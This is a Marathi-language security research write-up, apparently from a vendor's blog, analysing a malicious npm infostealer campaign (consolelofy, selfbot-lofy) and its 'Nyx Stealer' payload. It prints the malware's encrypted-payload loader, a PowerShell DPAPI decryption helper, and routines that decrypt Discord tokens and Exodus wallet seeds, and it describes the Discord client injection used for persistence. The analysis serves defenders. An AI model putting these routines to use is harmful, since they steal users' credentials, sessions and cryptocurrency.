TL; डॉ
झायगेनी सुरक्षा संशोधन संघ दोन दुर्भावनापूर्ण पॅकेजेसद्वारे वितरित केलेली एक अत्याधुनिक एनपीएम इन्फोस्टीलर मोहीम ओळखली गेली: कन्सोललोफी आणि सेल्फबॉट-लोफी.
नवीनतम आवृत्ती (consolelofy@1.3.0) यात २१६ केबीचा एईएस-एनक्रिप्टेड पेलोड अंतर्भूत असतो, जो रनटाइमवर डिक्रिप्ट होतो आणि याच्याद्वारे कार्यान्वित होतो. vm.runInNewContext()दुर्भावनापूर्ण लॉजिक पूर्णपणे एनक्रिप्टेड असल्यामुळे, स्ट्रिंग तपासणीवर अवलंबून असलेले स्टॅटिक स्कॅनर अंमलबजावणीच्या वेळेपर्यंत त्याचे वर्तन पाहू शकत नाहीत.
एकदा डिक्रिप्ट झाल्यावर, पेलोड, अंतर्गत ब्रँडेड निक्स चोर, लक्ष्य:
- डिस्कॉर्ड ऑथेंटिकेशन टोकन
- ५०+ ब्राउझर क्रेडेंशियल स्टोअर्स
- ९०+ क्रिप्टोकरन्सी वॉलेट एक्सटेंशन्स
- रोब्लॉक्स, इंस्टाग्राम, स्पॉटिफाय, स्टीम, टेलिग्राम आणि टिकटॉक सत्रे
- डिस्कॉर्ड डेस्कटॉप क्लायंट सातत्य
दोन्ही पॅकेजमधील सर्व २० आवृत्त्या दुर्भावनापूर्ण असल्याचे आढळून आले आणि त्याची पुष्टी झाली.
या एनपीएम इन्फोस्टीलरचा तांत्रिक आढावा
पारंपारिक इन्स्टॉल-टाइम मालवेअरच्या विपरीत, ही मोहीम एकावर अवलंबून असते रनटाइम डिक्रिप्शन मॉडेल.
आहेत:
- कोणताही दुर्भावनापूर्ण हेतू नाही
preinstallorpostinstallhooks - इन्स्टॉलेशनच्या वेळी कोणतेही स्पष्ट नेटवर्क कॉल्स नाहीत
- प्लेनटेक्स्ट क्रेडेन्शियल हार्वेस्टिंग लॉजिक नाही
मॉड्यूल इम्पोर्ट केल्यावर पेलोड सक्रिय होतो. संपूर्ण दुर्भावनापूर्ण भाग एनक्रिप्ट केलेला असतो आणि तो केवळ रनटाइमवर मेमरीमध्ये मूर्त स्वरूप घेतो.
ही रचना पॅकेज इन्स्टॉलेशन दरम्यान ओळख टाळण्यासाठी मुद्दामहून केलेली आहे.
हा एनपीएम इन्फोस्टीलर प्रत्यक्षात कसा कार्यान्वित होतो
निक्स स्टीलर काय चोरतो याचे विश्लेषण करण्यापूर्वी, आपल्याला हे समजून घेणे आवश्यक आहे की ते कसे कार्यान्वित होते.
या npm infostealer मधील दुर्भावनापूर्ण तर्कशास्त्र एका सुसंगत पद्धतीचे अनुसरण करते:
एक छोटा लोडर एका मोठ्या एनक्रिप्टेड पेलोडला डिक्रिप्ट करतो आणि Node.js VM संदर्भात त्याला डायनॅमिकली कार्यान्वित करतो.
ही रचना हेतुपुरस्सर आहे. हल्लेखोर केवळ अस्पष्टीकरणामागे कार्यक्षमता लपवत नाहीत, तर ते... स्थिर दृश्यमानतेमधून दुर्भावनापूर्ण कोड पूर्णपणे काढून टाकणे.
उच्च-स्तरीय अंमलबजावणी मॉडेल
ढोबळमानाने, रॅपर चार गोष्टी करतो:
- SHA-256 वापरून हार्डकोडेड पासफ्रेजमधून AES की मिळवते
- AES-256-CBC वापरून मोठ्या हेक्स-एनकोडेड सायफरटेक्स्टचे डिक्रिप्शन करते.
- डिक्रिप्टेड जावास्क्रिप्ट वापरून कार्यान्वित करते
vm.runInNewContext() - एक असा सँडबॉक्स प्रदान करतो जो तरीही शक्तिशाली रनटाइम प्रिमिटिव्ह्ज उपलब्ध करून देतो.
मुख्य तंत्राचा सारांश
| घटक | कॉन्फिगरेशन / मूल्य |
|---|---|
| अल्गोरिदम | एईएस-256-सीबीसी |
| की व्युत्पन्न | SHA-256(पासफ्रेज) |
| आरंभीकरण सदिश (IV) | 0x00 चे १६ बाइट्स |
| अंमलबजावणी | vm.runInNewContext(decrypted, sandbox) |
सर्वात महत्त्वाचे म्हणजे, सँडबॉक्स खालील गोष्टींमधून जातो:
requireprocessBuffer- टाइमर
- मॉड्यूल निर्यात
याचा अर्थ असा की डिक्रिप्ट केलेल्या पेलोडमध्ये खालील पूर्ण क्षमता टिकून राहते:
- स्पॉन प्रक्रिया
- फाईल्स वाचणे आणि लिहिणे
- नेटवर्क कॉल करा
- स्थानिक अनुप्रयोगांमध्ये बदल करा
ही प्रतिबंधित व्हर्च्युअल मशीन नाही. ही एक व्हर्च्युअल मशीन आहे जी अंमलबजावणीसाठी वापरली जाते.
रनटाइम एन्क्रिप्शन पॅटर्न (कोअर एक्झिक्यूशन मेकॅनिझम)
लोडर लहान आहे.
दुर्भावनापूर्ण बॉडी नाही.
पॅकेजमध्ये आढळलेला अंमलबजावणीचा नमुना खालीलप्रमाणे आहे:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } हे प्रकरण का आहे
डिक्रिप्ट केलेला पेलोड:
- का नाही npm पॅकेजमध्ये साध्या मजकुरात अस्तित्वात असणे
- साध्याला अदृश्य आहे
grepकिंवा स्थिर स्ट्रिंग स्कॅनिंग - केवळ रनटाइमवर मेमरीमध्ये मूर्त रूप घेते
- नोड रनटाइमच्या संपूर्ण क्षमतांसह कार्यान्वित होते.
हे AES + VM एक्झिक्युशन संयोजन एका वर्तणुकीचा प्रबळ निर्देशक आहे npm इन्फोस्टीलर स्टॅटिक इन्स्पेक्शन टाळण्याचा प्रयत्न करत आहे.
दुसऱ्या शब्दात:
जर तुम्ही पॅकेज सोर्स ट्री स्कॅन केले तर तुम्हाला स्टीलर दिसणार नाही.
तुम्हाला एक डिक्रिप्टर दिसतो.
डिक्रिप्शननंतर काय होते
एकदा कार्यान्वित झाल्यावर, निक्स स्टीलर समांतर डेटा संकलनाच्या लाटा सुरू करतो.
टप्पा १: ब्राउझर क्रेडेन्शियल निष्कर्षण
मालवेअर:
- NuGet CDN वरून पायथन रनटाइम डाउनलोड करते.
- क्रिप्टोग्राफिक लायब्ररी स्थापित करते
- क्रोमियम-आधारित क्रेडेन्शियल स्टोअर्सचा अर्क काढतो
- DPAPI-संरक्षित गुप्त माहितीचे डिक्रिप्शन करते
नेटिव्ह बाइंडिंग्ज संकलित करण्याऐवजी, ते थेट विंडोज DPAPI ला कॉल करण्यासाठी पॉवरशेलचा वापर करते.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } हा दृष्टिकोन:
- संकलन त्रुटी टाळते
- विंडोजच्या मूळ क्रिप्टो एपीआयचा वापर करते
- प्रशासकीय साधनांमध्ये मिसळून जाते
हे OS-स्तरावरील क्रेडेन्शियल डिक्रिप्शन आहे, स्क्रॅपिंग नाही.
टप्पा २: डिस्कॉर्ड टोकन डिक्रिप्शन
चोराला प्रोटोकॉलची जाणीव आहे. त्याला डिस्कॉर्डचे एनक्रिप्टेड टोकन स्वरूप समजते.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } कार्यान्वयन प्रवाह:
- डिस्कॉर्डमधून मास्टर की काढा
Local State - DPAPI द्वारे मास्टर की डिक्रिप्ट करा
- AES-GCM टोकन ब्लॉब्स डिक्रिप्ट करा
- डिस्कॉर्ड API विरुद्ध टोकन प्रमाणित करा
- नायट्रो, बॅजेस, बिलिंग माहितीसह समृद्ध करा
हे सामान्य क्रेडेन्शियल डंपिंग नाही. हे प्रोटोकॉल-जागरूक सेशन हायजॅकिंग आहे.
लाट ३: क्रिप्टोकरन्सी वॉलेट लक्ष्यीकरण
npm infostealer खालील गोष्टींची गणना करतो:
- ९०+ ब्राउझर वॉलेट एक्सटेंशन्स
- २७ डेस्कटॉप वॉलेट
- कोल्ड वॉलेट पाथ्स
- एक्सोडस सीड फाइल्स
सीड डिक्रिप्शनच्या प्रयत्नाचे उदाहरण:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } यशस्वी झाल्यास, वॉलेटची सुरक्षा धोक्यात येणे तात्काळ आणि अपरिवर्तनीय असते.
हे मोहिमेच्या कमाईचा सर्वाधिक मूल्यवान मार्ग दर्शवते.
डिस्कॉर्ड डेस्कटॉप इंजेक्शनद्वारे सातत्य
क्रेडेन्शियल्स मिळवल्यानंतर, Nyx Stealer स्थानिक प्रणालीमध्ये बदल करून ती टिकवून ठेवण्याचा प्रयत्न करतो. विचित्र क्लायंट
लक्ष्यः
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js ऑपरेशनल क्रम
माहिती चोरणारा पुढील पायऱ्या पार पाडतो:
- चालू असलेल्या डिस्कॉर्ड प्रक्रिया समाप्त करते
- इन्स्टॉल केलेले डिस्कॉर्ड व्हेरिएंट्स (स्टेबल, कॅनरी, पीटीबी) शोधते.
- ओव्हरराइट्स
discord_desktop_core/index.js - आक्रमणकर्त्याच्या नियंत्रणाखालील वेबहुक लॉजिक इंजेक्ट करते
- डिस्कॉर्ड पुन्हा सुरू करतो
यामुळे हे सुनिश्चित होते की भविष्यातील डिस्कॉर्ड सेशन्समध्ये नवीन ऑथेंटिकेशन टोकन्स आपोआप लीक होतील.
महत्त्वाची गोष्ट म्हणजे, ही सातत्यता नियोजित कार्यांवर किंवा रजिस्ट्रीमधील बदलांवर अवलंबून नसते. ती ॲप्लिकेशन-स्तरावरील कोड बदलांचा वापर करते, जी एक अधिक गुप्त पद्धत आहे.
जरी ते दुर्भावनापूर्ण npm पॅकेज नंतर काढून टाकले तरी, डिस्कॉर्ड क्लायंट असुरक्षितच राहतो.
तांत्रिक तुलना: लेजिटिमेट सेल्फबॉट विरुद्ध एनपीएम इन्फोस्टीलर
| घटक | कायदेशीर ग्रंथालय | Nyx npm इन्फोस्टीलर |
|---|---|---|
| एनक्रिप्शन | काहीही नाही | संपूर्ण AES-एनक्रिप्टेड पेलोड |
| रनटाइम व्हीएम | आवश्यक नाही | vm.runInNewContext अंमलबजावणी |
| क्रेडेन्शियल अॅक्सेस | फक्त डिस्कॉर्ड एपीआय | ब्राउझर, वॉलेट्स, DPAPI |
| बाह्य डाउनलोड | नाही | NuGet द्वारे पायथन रनटाइम |
| चिकाटी | नाही | डिस्कॉर्ड क्लायंट इंजेक्शन |
| कमाई करणे | बॉट ऑटोमेशन | क्रेडेन्शियल पुनर्विक्री |
केवळ एनक्रिप्शनचा स्तरच या मोहिमेला एका सामान्य ओपन-सोर्स फोर्कपासून वेगळे करतो.
एका खऱ्या डिस्कॉर्ड सेल्फबॉटला त्याचा संपूर्ण कोडबेस एनक्रिप्ट करण्याचे, DPAPI ऍक्सेस करण्यासाठी पॉवरशेल सुरू करण्याचे, बाह्य रनटाइम डाउनलोड करण्याचे किंवा डेस्कटॉप ऍप्लिकेशनच्या अंतर्गत रचनेत बदल करण्याचे काहीही कारण नसते. जेव्हा या क्षमता डिस्कॉर्डमधील संवाद स्वयंचलित करण्याचा दावा करणाऱ्या एखाद्या डिपेंडन्सीमध्ये दिसतात, तेव्हा रचनेतील ही विसंगती दुर्लक्षित करणे अशक्य होते.
तपासाच्या दृष्टिकोनातून पाहिल्यास, हा एनपीएम माहिती चोरणारा अनेक स्तरांवर पुरावे मागे सोडतो. तथापि, सर्वात विश्वसनीय निर्देशक हे हार्डकोडेड यूआरएल किंवा विशिष्ट फाईल पाथ नाहीत, कारण ते आवृत्त्यांनुसार बदलू शकतात. त्याऐवजी, टिकाऊ संकेत हे संरचनात्मक असतात.
पॅकेज स्तरावर, सर्वात मोठा एनक्रिप्टेड पेलोड आणि रनटाइम डिक्रिप्शन रॅपर यांचे संयोजन ही सर्वात मोठी धोक्याची सूचना आहे, जे त्वरित कार्यान्वित होते. vm.runInNewContext()जरी केवळ एनक्रिप्शन करणे हे मूळतः हानिकारक नसले तरी, डिस्कॉर्ड युटिलिटी पॅकेजमध्ये AES डिक्रिप्शन वापरून त्यानंतर डायनॅमिक VM एक्झिक्यूशन करणे हे अत्यंत विसंगत आहे.
होस्ट स्तरावर, संशयास्पद नमुन्यांमध्ये अनपेक्षित DPAPI डिक्रिप्शन क्रिया, Node.js डिपेंडन्सी संदर्भातून प्रक्रिया सुरू होणे, आणि स्थानिक ॲप्लिकेशन फाइल्समध्ये बदल करणे यांचा समावेश होतो, ज्यांमध्ये थर्ड-पार्टी लायब्ररीद्वारे कधीही बदल केला जाऊ नये. त्याचप्रमाणे, नेटवर्क स्तरावर, डेव्हलपमेंट डिपेंडन्सीद्वारे सुरू केलेला आउटबाउंड वेबहूक-शैलीचा संवाद ही आणखी एक महत्त्वपूर्ण विसंगती आहे.
दुसऱ्या शब्दांत सांगायचे तर, धोक्याची शक्यता दर्शवणारा पृष्ठभाग हा धोक्याचे एकमेव सूचक नाही. एन्क्रिप्शन, रनटाइम एक्झिक्यूशन, क्रेडेन्शियल ॲक्सेस आणि डेटा टिकवून ठेवण्याच्या पद्धती यांच्यातील परस्परसंबंधातूनच खरा धोका उघड होतो.
झायगेनी सह शोध आणि शमन
हा एनपीएम इन्फोस्टीलर याने ओळखला झायजेनीचे मालवेअर पूर्वसूचना (MEW) केवळ साध्या स्वाक्षरी जुळवण्याऐवजी, स्तरित वर्तणूक सहसंबंधाद्वारे.
ज्ञात दुर्भावनापूर्ण स्ट्रिंग शोधण्याऐवजी, MEW संपूर्ण सोर्स ट्रीमधील संरचनात्मक विसंगतींचे मूल्यांकन करते. या प्रकरणात, अनेक संकेतांच्या एकत्रीकरणातून शोध लागला: मॉड्यूल एन्ट्री पॉईंटमधील एक अंतर्भूत AES डिक्रिप्शन रूटीन, VM संदर्भात तात्काळ अंमलबजावणी, आणि क्षमता व हेतू यांच्यातील स्पष्ट विसंगती.
महत्त्वाची गोष्ट म्हणजे, यापैकी कोणताही एक संकेत दुर्भावनापूर्ण हेतू सिद्ध करत नाही. तथापि, जेव्हा त्यांचे एकत्रितपणे विश्लेषण केले जाते, तेव्हा ते रनटाइम वर्तन लपवण्याचा प्रयत्न उघड करतात. ही स्तरित पद्धत फॉल्स पॉझिटिव्हचे प्रमाण लक्षणीयरीत्या कमी करते आणि त्याच वेळी उच्च-विश्वासार्ह पुरवठा साखळी धोके ओळखते.
शिवाय, हे प्रकरण स्पष्ट करते की केवळ इन्स्टॉलच्या वेळी केलेली तपासणी का अपुरी आहे. दुर्भावनापूर्ण लॉजिक लाइफसायकल स्क्रिप्ट्समध्ये नसते. ते मॉड्यूल लोड झाल्यानंतरच सक्रिय होते आणि मेमरीमध्ये डिक्रिप्ट झाल्यावरच दृश्यमान होते. त्यामुळे, प्रभावी संरक्षणासाठी एन्क्रिप्शन-जागरूक विश्लेषण, वर्तणुकीच्या पद्धती ओळखणे आणि इन्स्टॉलेशनच्या घटनांपलीकडे सतत अवलंबित्व देखरेख आवश्यक आहे.
रजिस्ट्री काढून टाकणे हे प्रतिक्रियात्मक आहे. रनटाइम-अवेअर विश्लेषण हे प्रतिबंधात्मक आहे.
हा एनपीएम इन्फोस्टीलर महत्त्वाचा का आहे
Nyx Stealer हे npm-आधारित मालवेअरमधील एका संरचनात्मक उत्क्रांतीचे प्रतिनिधित्व करते.
पूर्वी, अनेक दुर्भावनापूर्ण पॅकेजेस दृश्यमान इन्स्टॉल-टाइम स्क्रिप्ट्स किंवा स्पष्ट क्रेडेन्शियल एक्स्फिल्ट्रेशन एंडपॉइंट्सवर अवलंबून असत. याउलट, ही मोहीम आपला पेलोड एनक्रिप्ट करते, कार्यान्वयन रनटाइमपर्यंत पुढे ढकलते, वैध ऑपरेटिंग सिस्टम API चा वापर करते आणि विश्वसनीय ॲप्लिकेशन्समध्ये आपले अस्तित्व टिकवून ठेवते.
परिणामी, हल्लेखोराला प्रत्यक्ष npm पायाभूत संरचनेचा गैरफायदा घेण्याची गरज नसते. त्याऐवजी, हा हल्ला यशस्वी होतो कारण डिपेंडन्सी इन्स्टॉलेशनमध्ये विश्वास अंतर्भूत असतो. डेव्हलपर्स असे गृहीत धरतात की लायब्ररी इम्पोर्ट करणे ही एक सुरक्षित प्रक्रिया आहे, विशेषतः जेव्हा ती एखाद्या लोकप्रिय टूलचा संभाव्य फोर्क म्हणून सादर केली जाते.
इकोसिस्टम वाढत राहिल्याने आणि फोर्कची संख्या वाढत गेल्याने, ती अंतर्निहित विश्वासाची सीमा हल्ल्यासाठी एक अधिकाधिक आकर्षक पृष्ठभाग बनते. त्यामुळे, आधुनिक एनपीएम माहिती चोरणाऱ्यांपासून बचाव करण्यासाठी केवळ स्थिर स्ट्रिंग शोधण्याऐवजी आर्किटेक्चरल पॅटर्न ओळखणे आवश्यक आहे.
सरतेशेवटी, ही मोहीम एका महत्त्वाच्या धड्यावर जोर देते. software supply chain securityसर्वात धोकादायक धोके ते नसतात जे प्रथमदर्शनी दुर्भावनापूर्ण दिसतात, तर ते असतात जे रनटाइममध्ये त्यांचे खरे वर्तन उघड होईपर्यंत संरचनात्मकदृष्ट्या वैध वाटतात.




